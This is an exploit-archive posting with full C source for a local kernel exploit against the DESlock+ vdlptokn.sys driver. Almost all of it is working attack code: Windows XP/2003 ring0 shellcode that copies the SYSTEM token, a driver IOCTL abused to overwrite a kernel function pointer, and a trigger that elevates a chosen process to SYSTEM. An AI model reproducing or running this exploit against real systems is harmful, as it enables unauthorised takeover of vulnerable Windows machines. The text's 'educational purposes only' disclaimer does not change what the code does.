ExploitFixes
DESlock+ <= 4.1.10 vdlptokn.sys Local Kernel ring0 SYSTEM Exploit 2011-02-09 09:15:16

/* deslock-vdlptokn.c
*
* Copyright (c) 2009 by <[email protected]>
*
* DESlock+ <= 4.1.10 local kernel ring0 SYSTEM exploit
* by mu-b - Wed 17 Jun 2009
*
* - Tested on: vdlptokn.sys 1.0.3.54
*
* Compile: MinGW + -lntdll
*
* - this exploit is provided for educational purposes _only_. You are free
* to use this code in any way you wish provided you do not work for, or
* are associated in any way with Portcullis Computer Security Ltd.
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs [email protected]$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define VDLPTOKN_IOCTL 0x00222010
#define DLKFDISK_R_IOCTL 0x80002008
#define DLKFDISK_SLOT 0x00000CF8

#define ARG_SIZE(a) ((a)/sizeof (void *))

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
* by mu-b <[email protected]>
*/
static unsigned char win2k3_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\xb0\x18\x02\x00\x00"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xd8\x00\x00\x00"
"\x89\x88\xd8\x00\x00\x00"
"\x90";

static unsigned char winxp_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\x70\x44"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xc8\x00\x00\x00"
"\x89\x88\xc8\x00\x00\x00"
"\x90";

static unsigned char win32_ret[] =
"\x31\xff"
"\xb8\x87\x0c\x00\x00"
"\xff\xe0"
"\xcc";

struct ioctl_req {
CHAR pad[0x24];
void *ptr;
CHAR _pad[0x4E - 0x28];
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;

dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

if (dwMajorVersion != 5)
{
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}

*(PDWORD) &win32_ret[3] += (DWORD) base;

switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);

case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);

default:
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}

return (NULL);
}

static PVOID
get_module_base (void)
{
PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD i, num_modules, status, rlen;
PVOID result;

status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
exit (EXIT_FAILURE);
}

pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen);
if (status != STATUS_SUCCESS)
{
fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
exit (EXIT_FAILURE);
}

num_modules = pModuleInfo->Count;
pModuleBase = &pModuleInfo->Module[0];
result = NULL;

for (i = 0; i < num_modules; i++, pModuleBase++)
if (strstr (pModuleBase->ImageName, "dlkfdisk.sys"))
{
result = pModuleBase->Base;
break;
}

HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

return (result);
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
DWORD dResult, i, rlen, zpage_len, zlen, ppid;
LPVOID zpage, zbuf, base;
CHAR rbuf[0x2D];
HANDLE hFile;
BOOL bResult;

printf ("DESlock+ <= 4.0.3 local kernel ring0 SYSTEM exploit\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs [email protected]$!\n\n");

if (argc <= 1)
{
fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
exit (EXIT_SUCCESS);
}

ppid = atoi (argv[1]);

fflush (stdout);
hFile = CreateFileA ("\\\\.\\DLPTokenWalter0", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

zpage_len = 0x10000;
zpage = (LPVOID) 0x55550000;
dResult = NtAllocateVirtualMemory ((HANDLE) -1, &zpage, 0, &zpage_len,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (dResult != STATUS_SUCCESS)
{
fprintf (stderr, "* NtAllocateVirtualMemory failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, zpage_len);

base = get_module_base ();
if (base == NULL)
{
fprintf (stderr, "* unable to find dlkfdisk.sys base\n");
exit (EXIT_FAILURE);
}
printf ("* dlkfdisk.sys base: 0x%08X\n", base);

memset (zpage, 0xCC, zpage_len);
zbuf = fixup_ring0_shell (base, ppid, &zlen);

zpage += 0x5555;
memcpy ((LPVOID) zpage, zbuf, zlen);
memcpy ((LPVOID) (zpage + zlen),
win32_ret, sizeof (win32_ret) - 1);

printf ("* overwriting [@0x%08X %d-bytes].. ",
base + DLKFDISK_SLOT, 4);
for (i = 0; i < 4; i++)
{
memset (&req, 0, sizeof req);
req.ptr = (void *) (base + DLKFDISK_SLOT) + i;

bResult = DeviceIoControl (hFile, VDLPTOKN_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
}
printf ("done\n");

CloseHandle (hFile);

hFile = CreateFileA ("\\\\.\\DLKFDisk_Control", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

/* jump to our address :) */
printf ("* jumping.. ");

bResult = DeviceIoControl (hFile, DLKFDISK_R_IOCTL,
rbuf, sizeof rbuf, rbuf, sizeof rbuf, &rlen, 0);
if (!bResult)
{
fprintf (stderr, "DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n\n"
"* hmmm, you didn't STOP the box?!?!\n");

CloseHandle (hFile);

return (EXIT_SUCCESS);
}